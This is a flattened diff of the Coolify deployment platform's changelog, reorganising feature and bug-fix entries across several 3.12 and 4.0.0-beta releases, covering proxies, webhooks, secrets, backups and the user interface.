-- Add new team button -- Transactional email link -- Dashboard goto link -- Only require registry image in case of dockerimage bp -- Instant save build pack change -- Public git -- Cannot remove localhost -- Check localhost connection -- Send unreachable/revived notifications -- Boarding + verification -- Make sure proxy wont start in NONE mode -- Service check status 10 sec -- IsCloud in production seeder -- Make sure to use IP address -- Dockerfile location feature -- Server ip could be hostname in self-hosted -- Urls should be password fields -- No backup for redis -- Show database logs in case of its not healthy and running -- Proxy check for ports, do not kill anything listening on port 80/443 -- Traefik dashboard ip -- Db labels -- Docker cleanup jobs -- Timeout for instant remote processes -- Dev containerjobs -- Backup database one-by-one. -- Turn off static deployment if you switch buildpacks - -### 💼 Other - -- Dockerimage -- Updated dashboard -- Fix -- Fix -- Coolify proxy access logs exposed in dev -- Able to select environment on new resource -- Delete server -- Redis - -## [4.0.0-beta.58] - 2023-10-02 - -### 🚀 Features - -- Reset root password -- Attach Coolify defined networks to services -- Delete resource command -- Multiselect removable resources -- Disable service, required version -- Basedir / monorepo initial support -- Init version of any git deployment -- Deploy private repo with ssh key - -### 🐛 Bug Fixes - -- If waitlist is disabled, redirect to register -- Add destination to new services -- Predefined content for files -- Move /data to ./_data in dev -- UI -- Show all storages in one place for services -- Ui -- Add _data to vite ignore -- Only use _ in volume names for services -- Volume names in services -- Volume names -- Service logs visible if the whole service stack is not running -- Ui -- Compose magic -- Compose parser updated -- Dev compose files -- Traefik labels for multiport deployments -- Visible version number -- Remove SERVICE_ from deployable compose -- Delete event to deleting -- Move dev data to volumes to prevent permission issues -- Traefik labelling in case of several http and https domain added -- PR deployments use the first fqdn as base -- Email notifications subscription fixed -- Services - do not remove unnecessary things for now -- Decrease max horizon processes to get lower memory usage -- Test emails only available for user owned smtp/resend -- Ui for self-hosted email settings -- Set smtp notifications on by default -- Select branch on other git -- Private repository +- Gitlab & Github urls +- Secrets build/runtime coudl be changed after save +- Default configuration +- *(php)* If .htaccess file found use apache +- Add default webhook domain for n8n +- Add git lfs while deploying +- Try to update build status several times +- Update stucked builds +- Update stucked builds on startup +- Revert seed +- Lame fixing +- Remove asyncUntil +- Add openssl to image +- Permission issues +- On-demand sFTP for wp +- Fix for fix haha +- Do not pull latest image +- Updated db versions +- Only show proxy for admin team +- Team view for root team +- Do not trigger >1 webhooks on GitLab +- Possible fix for spikes in CPU usage +- Last commit +- Www or not-www, that's the question +- Fix for the fix that fixes the fix +- Ton of updates for users/teams +- Small typo +- Unique storage paths +- Self-hosted GitLab URL +- No line during buildLog +- Html/apiUrls cannot end with / +- Typo +- Missing buildpack +- Enable https for Ghost +- Postgres root passwor shown and set +- Able to change postgres user password from ui +- DB Connecting string generator +- Missing install repositories GitHub +- Return own and other sources better +- Show config missing on sources +- Remove unnecessary save button haha +- Update dockerfile +- Haproxy build stuffs +- Proxy +- Types +- Invitations +- Timeout values +- Cleanup images older than a day +- Meilisearch service +- Load all branches, not just the first 30 +- ProjectID for Github +- DNS check before creating SSL cert +- Try catch me +- Restart policy for resources +- No permission on first registration +- Reverting postgres password for now +- Destinations to HAProxy +- Register should happen if coolify proxy cannot be started +- GitLab typo +- Remove system wide pw reset +- Postgres root pw is pw field +- Teams view +- Improved tcp proxy monitoring for databases/ftp +- Add HTTP proxy checks +- Loading of new destinations +- Better performance for cleanup images +- Remove proxy container in case of dependent container is down +- Restart local docker coolify proxy in case of something happens to it +- Id of service container +- Switch from bitnami/redis to normal redis +- Use redis-alpine +- Wordpress extra config +- Stop sFTP connection on wp stop +- Change user's id in sftp wp instance +- Use arm based certbot on arm +- Buildlog line number is not string +- Application logs paginated +- Switch to stream on applications logs +- Scroll to top for logs +- Pull new images for services all the time it's started. +- White-labeled custom logo +- Application logs +- Deno configurations +- Text on deno buildpack +- Correct branch shown in build logs +- Vscode permission fix +- I18n +- Locales +- Application logs is not reversed and queried better +- Do not activate i18n for now +- GitHub token cleanup on team switch +- No logs found +- Code cleanups +- Reactivate posgtres password - Contribution guide -- Public repository names -- *(create)* Flex wrap on server & network selection -- Better unreachable/revived server statuses -- Able to set base dir for Dockerfile build pack - -### 💼 Other - -- Uptime kume hc updated -- Switch back to /data (volume errors) +- Simplify list services +- Contribution +- Contribution guide +- Contribution guide +- Packagemanager finder +- Unami svg size +- Team switching moved to IAM menu +- Always use IP address for webhooks +- Remove unnecessary test endpoint +- UI +- Migration +- Fider envs +- Checking low disk space +- Build image +- Update autoupdate env variable +- Renew certificates +- Webhook build images +- Missing node versions +- ExposedPorts +- Logos for dbs +- Do not run SSL renew in development +- Check domain for coolify before saving +- Remove debug info +- Cancel jobs +- Cancel old builds in database +- Better DNS check to prevent errors +- Check DNS in prod only +- DNS check +- Disable sentry for now +- Cancel +- Sentry +- No image for Docker buildpack +- Default packagemanager +- Server usage only shown for root team +- Expose ports for services +- UI +- Navbar UI +- UI +- UI +- Remove RC python +- UI +- UI +- UI +- Default Python package +- WP custom db +- UI +- Gastby buildpack +- Service checks +- Remove console.log +- Traefik +- Remove debug things +- WIP Traefik +- Proxy for http +- PR deployments view +- Minio urls + domain checks +- Remove gh token on git source changes +- Do not fetch app state in case of missconfiguration +- Demo instance save domain instantly +- Instant save on demo instance +- New source canceled view +- Lint errors in database services +- Otherfqdns +- Host key verification +- Ftp connection +- GitHub fixes +- TrustProxy +- Force restart proxy +- Only restart coolify proxy in case of version prior to 2.9.2 +- Force restart proxy on seeding +- Add GIT ENV variable for submodules +- Recurisve clone instead of submodule +- Versions +- Only reconfigure coolify proxy if its missconfigured +- Demo version forms +- Typo +- Revert gh and gl cloning +- Proxy stop missing argument +- Fider changed an env variable name +- Pnpm command +- Plausible custom script +- Plausible script and middlewares +- Remove console log +- Remove comments +- Traefik middleware +- Persistent nocodb +- Nocodb persistency +- Host and reload for uvicorn +- Remove package-lock +- Be able to change database + service versions +- Lock file +- Seeding +- Forgot that the version bump changed 😅 +- New destination can be created +- Include post +- New destinations +- Domain check +- Domain check +- TrustProxy for Fastify +- Hostname issue +- GitLab pagination load data +- Service domain checker +- Wp missing ftp solution +- Ftp WP issues +- Ftp?! +- Gitpod updates +- Gitpod +- Gitpod +- Wordpress FTP permission issues +- GitLab search fields +- GitHub App button +- GitLab loop on misconfigured source +- Gitpod +- Cleanup less often and can do it manually +- Admin password reset should not timeout +- Message for double branches +- Turn off autodeploy if double branch is configured +- More types for API +- More types +- Do not rebuild in case image exists and sha not changed +- Gitpod urls +- Remove new service start process +- Remove shared dir, deployment does not work +- Gitlab custom url +- Location url for services and apps +- Settings from api +- Selectable destinations +- Gitpod hardcodes +- Typo +- Typo +- Expose port checker +- States and exposed ports +- CleanupStorage +- Remote traefik webhook +- Remote engine ip address +- RemoteipAddress +- Explanation for remote engine url +- Tcp proxy +- Lol +- Webhook +- Dns check for rde +- Gitpod +- Revert last commit +- Dns check +- Dns checker +- Webhook +- Df and more debug +- Webhooks +- Load previews async +- Destination icon +- Pr webhook +- Cache image +- No ssh key found +- Prisma migration + update of docker and stuffs +- Ui +- Ui +- Only 1 ssh-agent is needed +- Reuse ssh connection +- Ssh tunnel +- Dns checking +- Fider BASE_URL set correctly +- Rde local ports +- Empty remote destinations could be removed +- Tips +- Lowercase issues fider +- Tooltip colors +- Update clickhouse configuration +- Cleanup command +- Enterprise Github instance endpoint +- Follow/cancel buttons +- Only remove coolify managed containers +- White-labeled env +- Schema +- Coolify-network on verification +- Cleanup stucked prisma-engines +- Toast +- Secrets +- Cleanup prisma engine if there is more than 1 +- !isARM to isARM +- Enterprise GH link +- Empty buildpack icons +- Debounce dashboard status requests +- Decryption errors +- Postgresql on ARM +- Make it public button +- Loading indicator +- Replace docker compose with docker-compose on CSB +- Dashboard ui +- Create coolify-infra, if it does not exists +- Gitpod conf and heroku buildpacks +- Appwrite +- Autoimport + readme +- Services import +- Heroku icon +- Heroku icon +- Dns button ui +- Bot deployments +- Bots +- AutoUpdater & cleanupStorage jobs +- Revert docker compose version to 2.6.1 +- Trim secrets +- Restart containers on-failure instead of always +- Show that Ghost values could be changed +- Bots without exposed ports +- Missing commas +- ExposedPort is just optional +- Port checker +- Cancel build after 5 seconds +- ExposedPort checker +- Batch secret = +- Dashboard for non-root users +- Stream build logs +- Show build log start/end +- Ui buttons +- Clear queue on cancelling jobs +- Cancelling jobs +- Dashboard for admins +- Never stop deplyo queue +- Build queue system +- High cpu usage +- Worker +- Better worker system +- Secrets decryption +- UI thinkgs +- Delete team while it is active +- Team switching +- Queue cleanup +- Decrypt secrets +- Cleanup build cache as well +- Pr deployments + remove public gits +- Copy all files during install process +- Typo +- Process +- White labeled icon on navbar +- Whitelabeled icon +- Next/nuxt deployment type +- Again +- Pr deployment +- CompareVersions +- Include +- Include +- Gitlab apps +- Oh god Prisma +- Glitchtip things +- Loading state on start +- Ui +- Submodule +- Gitlab webhooks +- UI + refactor +- Exposedport on save +- Appwrite letsencrypt +- Traefik appwrite +- Traefik +- Finally works! :) +- Rename components + remove PR/MR deployment from public repos +- Settings missing id +- Explainer component +- Database name on logs view +- Taiga +- Ssh pid agent name +- Repository link trim +- Fqdn or expose port required +- Service deploymentEnabled +- Expose port is not required +- Remote verification +- Dockerfile +- Debug api logging + gh actions +- Workdir +- Move restart button to settings +- Gitlab webhook +- Use ip address instead of window location +- Use ip instead of window location host +- Service state update +- Add initial DNS servers +- Revert last change with domain check +- Service volume generation +- Minio default env variables +- Add php 8.1/8.2 +- Edgedb ui +- Edgedb stuff +- Edgedb +- Pr previews +- DnsServer formatting +- Settings for service +- Change to execa from utils +- Save search input +- Ispublic status on databases +- Port checkers +- Ui variables +- Glitchtip env to pyhton boolean +- Autoupdater +- Show restarting apps +- Show restarting application & logs +- Remove unnecessary gitlab group name +- Secrets for PR +- Volumes for services +- Build secrets for apps +- Delete resource use window location +- Changing umami image URL to get latest version +- Gitlab importer for public repos +- Show error logs +- Umami init sql +- Plausible analytics actions +- Login +- Dev url +- UpdateMany build logs +- Fallback to db logs +- Fluentbit configuration +- Coolify update +- Fluentbit and logs +- Canceling build +- Logging +- Load more +- Build logs +- Versions of appwrite +- Appwrite?! +- Get building status +- Await +- Await #2 +- Update PR building status +- Appwrite default version 1.0 +- Undead endpoint does not require JWT +- *(routes)* Improve design of application page +- *(routes)* Improve design of git sources page +- *(routes)* Ui from destinations page +- *(routes)* Ui from databases page +- *(routes)* Ui from databases page +- *(routes)* Ui from databases page +- *(routes)* Ui from services page +- *(routes)* More ui tweaks +- *(routes)* More ui tweaks +- *(routes)* More ui tweaks +- *(routes)* More ui tweaks +- *(routes)* Ui from settings page +- *(routes)* Duplicates classes in services page +- *(routes)* Searchbar ui +- Github conflicts +- *(routes)* More ui tweaks +- *(routes)* More ui tweaks +- *(routes)* More ui tweaks +- *(routes)* More ui tweaks +- Ui with headers +- *(routes)* Header of settings page in databases +- *(routes)* Ui from secrets table +- Ui +- Tooltip +- Dropdown +- Ssl certificate distribution +- Db migration +- Multiplex ssh connections +- Able to search with id +- Not found redirect +- Settings db requests +- Error during saving logs +- Consider base directory in heroku bp +- Basedirectory should be empty if null +- Allow basedirectory for heroku +- Stream logs for heroku bp +- Debug log for bp +- Scp without host verification & cert copy +- Base directory & docker bp +- Laravel php chooser +- Multiplex ssh and ssl copy +- Seed new preview secret types +- Error notification +- Empty preview value +- Error notification +- Seed +- Service logs +- Appwrite function network is not the default +- Logs in docker bp +- Able to delete apps in unconfigured state +- Disable development low disk space +- Only log things to console in dev mode +- Do not get status of more than 10 resources defined by category +- BaseDirectory +- Dashboard statuses +- Default buildImage and baseBuildImage +- Initial deploy status +- Show logs better +- Do not start tcp proxy without main container +- Cleanup stucked tcp proxies +- Default 0 pending invitations +- Handle forked repositories +- Typo +- Pr branches +- Fork pr previews +- Remove unnecessary things +- Meilisearch data dir +- Verify and configure remote docker engines +- Add buildkit features +- Nope if you are not logged in +- Do not use npx +- Pure docker based development +- Do not show nope as ip address for dbs +- Add git sha to build args +- Smart search for new services +- Logs for not running containers +- Update docker binaries +- Gh release +- Dev container +- Gitlab auth and compose reload +- Check compose domains in general +- Port required if fqdn is set +- Appwrite v1 missing containers +- Dockerfile +- Pull does not work remotely on huge compose file +- Single container logs and usage with compose +- Secret errors +- Service logs +- Heroku bp +- Expose port is readonly on the wrong condition +- Toast +- Traefik proxy q 10s +- App logs view +- Tooltip +- Toast, rde, webhooks +- Pathprefix +- Load public repos +- Webhook simplified +- Remote webhooks +- Previews wbh +- Webhooks +- Websecure redirect +- Wb for previews +- Pr stopps main deployment +- Preview wbh +- Wh catchall for all +- Remove old minio proxies +- Template files +- Compose icon +- Templates +- Confirm restart service +- Template +- Templates +- Templates +- Plausible analytics things +- Appwrite webhook +- Coolify instance proxy +- Migrate template +- Preview webhooks +- Simplify webhooks +- Remove ghost-mariadb from the list +- More simplified webhooks +- Umami + ghost issues +- Remove contribution docs +- Umami template +- Compose webhooks fixed +- Variable replacements +- Doc links +- For rollback +- N8n and weblate icon +- Expose ports for services +- Wp + mysql on arm +- Show rollback button loading +- No tags error +- Update on mobile +- Dashboard error +- GetTemplates +- Docker compose persistent volumes +- Application persistent storage things +- Volume names for undefined volume names in compose +- Empty secrets on UI +- Ports for services +- Default icon for new services +- IsBot issue +- Local dev api/ws urls +- Wrong template/type +- Gitea icon is svg +- Gh actions +- Gh actions +- Replace $$generate vars +- Webhook traefik +- Exposed ports +- Wrong icons on dashboard +- Escape % in secrets +- Move debug log settings to build logs +- Storage for compose bp + debug on +- Hasura admin secret +- Logs +- Mounts +- Load logs after build failed +- Accept logged and not logged user in /base +- Remote haproxy password/etc +- Remove hardcoded sentry dsn +- Nope in database strings +- 0 destinations redirect after creation +- Seed +- Sentry dsn update +- Dnt +- Ui +- Only visible with publicrepo +- Migrations +- Prevent webhook errors to be logged +- Login error +- Remove beta from systemwide git +- Git checkout +- Remove sentry before migration +- Webhook previewseparator +- Apache on arm +- Update PR/MRs with new previewSeparator +- Static for arm +- Failed builds should not push images +- Turn off autodeploy for simpledockerfiles +- Security hole +- Rde +- Delete resource on dashboard +- Wrong port in case of docker compose +- Public db icon on dashboard +- Cleanup +- Build commands +- Migration file +- Adding missing appwrite volume +- Appwrite tmp volume +- Do not replace secret +- Root user for dbs on arm +- Escape secrets +- Escape env vars +- Envs +- Docker buildpack env +- Secrets with newline +- Secrets +- Add default node_env variable +- Add default node_env variable +- Secrets +- Secrets +- Gh actions +- Duplicate env variables +- Cleanupstorage +- Remove unused imports +- Parsing secrets +- Read-only permission +- Read-only iam +- $ sign in secrets +- Custom gitlab git user +- Add documentation link again +- Remove prefetches +- Doc link +- Temporary disable dns check with dns servers +- Local images for reverting +- Secrets +- Compose file location +- Docker log sequence +- Delete apps with previews +- Do not cleanup compose applications as unconfigured +- Build env variables with docker compose +- Public gh repo reload compose +- Build args docker compose +- Grpc +- Secrets +- Www redirect +- Cleanup function +- Cleanup stucked containers +- Deletion + cleanupStuckedContainers +- Stucked containers +- CleanupStuckedContainers +- CleanupStuckedContainers +- Typos in docs +- Url +- Network in compose files +- Escape new line chars in wp custom configs +- Applications cannot be deleted +- Arm servics +- Base directory not found +- Cannot delete resource when you are not on root team +- Empty port in docker compose +- Set PACK_VERSION to 0.27.0 +- PublishDirectory +- Host volumes +- Replace . & .. & $PWD with ~ +- Handle log format volumes +- Nestjs buildpack +- Show ip address as host in public dbs +- Revert from dockerhub if ghcr.io does not exists +- Logo of CCCareers +- Typo +- Ssh +- Nullable name on deploy_keys +- Enviroments +- Remove dd - oops +- Add inprogress activity +- Application view +- Only set status in case the last command block is finished +- Poll activity +- Small typo +- Show activity on load +- Deployment should fail on error +- Tests +- Version +- Status not needed +- No project redirect +- Gh actions +- Set status +- Seeders +- Do not modify localhost +- Deployment_uuid -> type_uuid +- Read env from config, bc of cache +- Private key change view +- New destination +- Do not update next channel all the time +- Cancel deployment button +- Public repo limit shown + branch should be preselected. +- Better status on ui for apps +- Arm coolify version +- Formatting +- Gh actions +- Show github app secrets +- Do not force next version updates +- Debug log button +- Deployment key based works +- Deployment cancel/debug buttons +- Upgrade button +- Changing static build changes port +- Overwrite default nginx configuration +- Do not overlap docker image names +- Oops +- Found image name +- Name length +- Semicolons encoding by traefik +- Base_dir wip & outputs +- Cleanup docker images +- Nginx try_files +- Master is the default, not main +- No ms in rate limit resets +- Loading after button text +- Default value +- Localhost is usable +- Update docker-compose prod +- Cloud/checkoutid/lms +- Type of license code +- More verbose error +- Version lol +- Update prod compose +- Version +- Remove buggregator from dev +- Able to change localhost's private key +- Readonly input box - Notifications -- Add shared email option to everyone - -## [4.0.0-beta.57] - 2023-10-02 - -### 🚀 Features - -- Container logs - -### 🐛 Bug Fixes - -- Always pull helper image in dev -- Only show last 1000 lines -- Service status - -## [4.0.0-beta.47] - 2023-09-28 - -### 🐛 Bug Fixes - -- Next helper image -- Service templates -- Sync:bunny -- Update process if server has been renamed -- Reporting handler -- Localhost privatekey update -- Remove private key in case you removed a github app -- Only show manually added private keys on server view -- Show source on all type of applications -- Docker cleanup should be a job by server -- File/dir based volumes are now read from the server -- Respect server fqdn -- If public repository does not have a main branch -- Preselect branc on private repos -- Deploykey branch -- Backups are now working again -- Not found base_branch in git webhooks -- Coolify db backup -- Preview deployments name, status etc -- Services should have destination as well -- Dockerfile expose is not overwritten -- If app settings is not saved to db -- Do not show subscription cancelled noti -- Show real volume names -- Only parse expose in dockerfiles if ports_exposes is empty -- Add uuid to volume names -- New volumes for services should have - instead of _ - -### 💼 Other - -- Fix previews to preview - -## [4.0.0-beta.46] - 2023-09-28 - -### 🐛 Bug Fixes - -- Containerstatusjob -- Aaaaaaaaaaaaaaaaa -- Services view -- Services -- Manually create network for services -- Disable early updates -- Sslip for localhost -- ContainerStatusJob -- Cannot delete env with available services -- Sync command -- Install script drops an error -- Prevent sync version (it needs an option) -- Instance fqdn setting -- Sentry 4510197209 -- Sentry 4504136641 -- Sentry 4502634789 - -## [4.0.0-beta.45] - 2023-09-24 - -### 🚀 Features - -- Services -- Image tag for services - -### 🐛 Bug Fixes - -- Applications with port mappins do a normal update (not rolling update) -- Put back build pack chooser -- Proxy configuration + starter -- Show real storage name on services -- New service template layout - -### 💼 Other - -- Fixed z-index for version link. -- Add source button -- Fixed z-index for magicbar -- A bit better error -- More visible feedback button -- Update help modal -- Help -- Marketing emails - -## [4.0.0-beta.28] - 2023-09-08 - -### 🚀 Features - -- Telegram topics separation -- Developer view for env variables -- Cache team settings -- Generate public key from private keys -- Able to invite more people at once -- Trial -- Dynamic trial period -- Ssh-agent instead of filesystem based ssh keys -- New container status checks -- Generate ssh key -- Sentry add email for better support -- Healthcheck for apps -- Add cloudflare tunnel support - -### 🐛 Bug Fixes - +- Licensing +- Subscription link +- Migrate db schema for smtp + discord +- Text field +- Null fqdn notifications +- Remove old modal +- Proxy stop/start ui +- Proxy UI +- Empty description +- Input and textarea +- Postgres_username name to not name, lol +- DatabaseBackupJob.php +- No storage +- Backup now button +- Ui + subscription +- Self-hosted +- Make coolify-db backups unique dir +- Limits & server creation page +- Fqdn on apps +- DockerCleanupjob +- Validation +- Webhook endpoint in cloud and no system wide gh app +- Subscriptions +- Password confirmation +- Proxy start job +- Dockerimage jobs are not overlapping +- Sentry bug +- Button loading animation +- Form address +- Show hosted email service, just disable for non pro subs +- Add navbar for source + keys +- Add docker network to build process +- Overlapping apps +- Do not show system wide git on cloud +- Lowercase image names +- Typo +- SaveModel email settings +- Bug - Db backup job - Sentry 4459819517 - Sentry 4451028626 @@ -5985,795 +2252,1754 @@ ### 🐛 Bug Fixes - Add traefik labels no matter if traefik is selected or not - Add expose port for containers - Also check docker socks permission on validation - -### 💼 Other - -- User should know that the public key -- Services are not availble yet -- Show registered users on waitlist page -- Nixpacksarchive -- Add Plausible analytics -- Global env variables -- Fix -- Trial emails -- Server check instead of app check -- Show trial instead of sub -- Server lost connection +- Applications with port mappins do a normal update (not rolling update) +- Put back build pack chooser +- Proxy configuration + starter +- Show real storage name on services +- New service template layout +- Containerstatusjob +- Aaaaaaaaaaaaaaaaa +- Services view - Services -- Services -- Services -- Ui for services -- Services -- Services -- Services -- Fixes -- Fix typo - -## [4.0.0-beta.27] - 2023-09-08 - -### 🐛 Bug Fixes - -- Bug - -## [4.0.0-beta.26] - 2023-09-08 - -### 🚀 Features - -- Public database - -## [4.0.0-beta.25] - 2023-09-07 - -### 🐛 Bug Fixes - -- SaveModel email settings - -## [4.0.0-beta.24] - 2023-09-06 - -### 🚀 Features - -- Send request in cloud -- Add discord notifications - -### 🐛 Bug Fixes - -- Form address -- Show hosted email service, just disable for non pro subs -- Add navbar for source + keys -- Add docker network to build process -- Overlapping apps -- Do not show system wide git on cloud -- Lowercase image names -- Typo - -### 💼 Other - -- Backup existing database - -## [4.0.0-beta.23] - 2023-09-01 - -### 🐛 Bug Fixes - -- Sentry bug -- Button loading animation - -## [4.0.0-beta.22] - 2023-09-01 - -### 🚀 Features - -- Add resend as transactional emails - -### 🐛 Bug Fixes - -- DockerCleanupjob -- Validation -- Webhook endpoint in cloud and no system wide gh app -- Subscriptions -- Password confirmation -- Proxy start job -- Dockerimage jobs are not overlapping - -## [4.0.0-beta.21] - 2023-08-27 - -### 🚀 Features - -- Invite by email from waitlist -- Rolling update - -### 🐛 Bug Fixes - -- Limits & server creation page -- Fqdn on apps - -### 💼 Other - +- Manually create network for services +- Disable early updates +- Sslip for localhost +- ContainerStatusJob +- Cannot delete env with available services +- Sync command +- Install script drops an error +- Prevent sync version (it needs an option) +- Instance fqdn setting +- Sentry 4510197209 +- Sentry 4504136641 +- Sentry 4502634789 +- Next helper image +- Service templates +- Sync:bunny +- Update process if server has been renamed +- Reporting handler +- Localhost privatekey update +- Remove private key in case you removed a github app +- Only show manually added private keys on server view +- Show source on all type of applications +- Docker cleanup should be a job by server +- File/dir based volumes are now read from the server +- Respect server fqdn +- If public repository does not have a main branch +- Preselect branc on private repos +- Deploykey branch +- Backups are now working again +- Not found base_branch in git webhooks +- Coolify db backup +- Preview deployments name, status etc +- Services should have destination as well +- Dockerfile expose is not overwritten +- If app settings is not saved to db +- Do not show subscription cancelled noti +- Show real volume names +- Only parse expose in dockerfiles if ports_exposes is empty +- Add uuid to volume names +- New volumes for services should have - instead of _ +- Always pull helper image in dev +- Only show last 1000 lines +- Service status +- If waitlist is disabled, redirect to register +- Add destination to new services +- Predefined content for files +- Move /data to ./_data in dev +- UI +- Show all storages in one place for services +- Ui +- Add _data to vite ignore +- Only use _ in volume names for services +- Volume names in services +- Volume names +- Service logs visible if the whole service stack is not running +- Ui +- Compose magic +- Compose parser updated +- Dev compose files +- Traefik labels for multiport deployments +- Visible version number +- Remove SERVICE_ from deployable compose +- Delete event to deleting +- Move dev data to volumes to prevent permission issues +- Traefik labelling in case of several http and https domain added +- PR deployments use the first fqdn as base +- Email notifications subscription fixed +- Services - do not remove unnecessary things for now +- Decrease max horizon processes to get lower memory usage +- Test emails only available for user owned smtp/resend +- Ui for self-hosted email settings +- Set smtp notifications on by default +- Select branch on other git +- Private repository +- Contribution guide +- Public repository names +- *(create)* Flex wrap on server & network selection +- Better unreachable/revived server statuses +- Able to set base dir for Dockerfile build pack +- Server validation process +- Fqdn could be null +- Small +- Server unreachable count +- Do not reset unreachable count +- Contact docs +- Check connection +- Server saving +- No env goto envs from dashboard +- Goto +- Tcp proxy for dbs +- Database backups +- Only send email if transactional email set +- Backupfailed notification is forced +- Use port exposed for reverse proxy +- Contact link +- Use only ip addresses for servers +- Deleted team and it is the current one +- Add new team button +- Transactional email link +- Dashboard goto link +- Only require registry image in case of dockerimage bp +- Instant save build pack change +- Public git +- Cannot remove localhost +- Check localhost connection +- Send unreachable/revived notifications +- Boarding + verification +- Make sure proxy wont start in NONE mode +- Service check status 10 sec +- IsCloud in production seeder +- Make sure to use IP address +- Dockerfile location feature +- Server ip could be hostname in self-hosted +- Urls should be password fields +- No backup for redis +- Show database logs in case of its not healthy and running +- Proxy check for ports, do not kill anything listening on port 80/443 +- Traefik dashboard ip +- Db labels +- Docker cleanup jobs +- Timeout for instant remote processes +- Dev containerjobs +- Backup database one-by-one. +- Turn off static deployment if you switch buildpacks +- Docker hub URL +- Redis URL generated +- Build image before starting dockerfile buildpacks +- Service status check is a bit better +- Generate fqdn if you deleted a service app, but it requires fqdn +- Cancel any deployments + queue next +- Add internal domain names during build process +- Noindex meta tag +- Show docker build logs +- Only include config.json if its exists and a file +- Always start proxy if not NONE is selected +- Proxy start process +- Setup:dev script & contribution guide +- Do not show configuration changed if config_hash is null +- Add config_hash if its null (old deployments) +- Label generation +- Labels +- Email channel no recepients +- Limit horizon processes to 2 by default +- Add custom port as ssh option to deploy_key based commands +- Remove custom port from git repo url +- ContainerStatus job +- Service docs links +- Add PGUSER to prevent HC warning +- Preselect s3 storage if available +- Port exposes change, shoud regenerate label - Boarding - -## [4.0.0-beta.20] - 2023-08-17 - -### 🚀 Features - -- Send internal notification to discord -- Monitor server connection - -### 🐛 Bug Fixes - -- Make coolify-db backups unique dir - -## [4.0.0-beta.19] - 2023-08-15 - -### 🚀 Features - -- Pricing plans ans subs -- Add s3 storages -- Init postgresql database -- Add backup notifications -- Dockerfile build pack -- Cloud -- Force password reset + waitlist - -### 🐛 Bug Fixes - -- Remove buggregator from dev -- Able to change localhost's private key -- Readonly input box -- Notifications -- Licensing -- Subscription link -- Migrate db schema for smtp + discord -- Text field -- Null fqdn notifications -- Remove old modal -- Proxy stop/start ui -- Proxy UI -- Empty description -- Input and textarea -- Postgres_username name to not name, lol -- DatabaseBackupJob.php -- No storage -- Backup now button -- Ui + subscription -- Self-hosted - -### 💼 Other - -- Scheduled backups - -## [4.0.0-beta.18] - 2023-07-14 - -### 🚀 Features - -- Able to control multiplexing -- Add runRemoteCommandSync -- Github repo with deployment key -- Add persistent volumes -- Debuggable executeNow commands -- Add private gh repos -- Delete gh app -- Installation/update github apps -- Auto-deploy -- Deploy key based deployments -- Resource limits -- Long running queue with 1 hour of timeout -- Add arm build to dev -- Disk cleanup threshold by server -- Notify user of disk cleanup init - -### 🐛 Bug Fixes - -- Logo of CCCareers -- Typo -- Ssh -- Nullable name on deploy_keys -- Enviroments -- Remove dd - oops -- Add inprogress activity -- Application view -- Only set status in case the last command block is finished -- Poll activity -- Small typo -- Show activity on load -- Deployment should fail on error -- Tests -- Version -- Status not needed -- No project redirect -- Gh actions -- Set status -- Seeders -- Do not modify localhost -- Deployment_uuid -> type_uuid -- Read env from config, bc of cache -- Private key change view -- New destination -- Do not update next channel all the time -- Cancel deployment button -- Public repo limit shown + branch should be preselected. -- Better status on ui for apps -- Arm coolify version -- Formatting -- Gh actions -- Show github app secrets -- Do not force next version updates -- Debug log button -- Deployment key based works -- Deployment cancel/debug buttons -- Upgrade button -- Changing static build changes port -- Overwrite default nginx configuration -- Do not overlap docker image names -- Oops -- Found image name -- Name length -- Semicolons encoding by traefik -- Base_dir wip & outputs -- Cleanup docker images -- Nginx try_files -- Master is the default, not main -- No ms in rate limit resets -- Loading after button text -- Default value -- Localhost is usable -- Update docker-compose prod -- Cloud/checkoutid/lms -- Type of license code -- More verbose error -- Version lol -- Update prod compose -- Version - -### 💼 Other - -- Extract process handling from async job. -- Extract process handling from async job. -- Extract process handling from async job. -- Extract process handling from async job. -- Extract process handling from async job. -- Extract process handling from async job. -- Extract process handling from async job. -- Persisting data - -## [3.12.28] - 2023-03-16 - -### 🐛 Bug Fixes - -- Revert from dockerhub if ghcr.io does not exists - -## [3.12.27] - 2023-03-07 - -### 🐛 Bug Fixes - -- Show ip address as host in public dbs - -## [3.12.24] - 2023-03-04 - -### 🐛 Bug Fixes - -- Nestjs buildpack - -## [3.12.22] - 2023-03-03 - -### 🚀 Features - -- Add host path to any container - -### 🐛 Bug Fixes - -- Set PACK_VERSION to 0.27.0 -- PublishDirectory -- Host volumes -- Replace . & .. & $PWD with ~ -- Handle log format volumes - -## [3.12.19] - 2023-02-20 - -### 🚀 Features - -- Github raw icon url -- Remove svg support - -### 🐛 Bug Fixes - -- Typos in docs -- Url -- Network in compose files -- Escape new line chars in wp custom configs -- Applications cannot be deleted -- Arm servics -- Base directory not found -- Cannot delete resource when you are not on root team -- Empty port in docker compose - -## [3.12.18] - 2023-01-24 - -### 🐛 Bug Fixes - -- CleanupStuckedContainers -- CleanupStuckedContainers - -## [3.12.16] - 2023-01-20 - -### 🐛 Bug Fixes - -- Stucked containers - -## [3.12.15] - 2023-01-20 - -### 🐛 Bug Fixes - -- Cleanup function -- Cleanup stucked containers -- Deletion + cleanupStuckedContainers - -## [3.12.14] - 2023-01-19 - -### 🐛 Bug Fixes - -- Www redirect - -## [3.12.13] - 2023-01-18 - -### 🐛 Bug Fixes - -- Secrets - -## [3.12.12] - 2023-01-17 - -### 🚀 Features - -- Init h2c (http2/grpc) support -- Http + h2c paralel - -### 🐛 Bug Fixes - -- Build args docker compose -- Grpc - -## [3.12.11] - 2023-01-16 - -### 🐛 Bug Fixes - -- Compose file location -- Docker log sequence -- Delete apps with previews -- Do not cleanup compose applications as unconfigured -- Build env variables with docker compose -- Public gh repo reload compose - -### 💼 Other - -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc - -## [3.12.10] - 2023-01-11 - -### 💼 Other - -- Add missing variables - -## [3.12.9] - 2023-01-11 - -### 🚀 Features - -- Add Openblocks icon -- Adding icon for whoogle -- *(ui)* Add libretranslate service icon -- Handle invite_only plausible analytics - -### 🐛 Bug Fixes - -- Custom gitlab git user -- Add documentation link again -- Remove prefetches -- Doc link -- Temporary disable dns check with dns servers -- Local images for reverting -- Secrets - -## [3.12.8] - 2022-12-27 - -### 🐛 Bug Fixes - -- Parsing secrets -- Read-only permission -- Read-only iam -- $ sign in secrets - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.12.5] - 2022-12-26 - -### 🐛 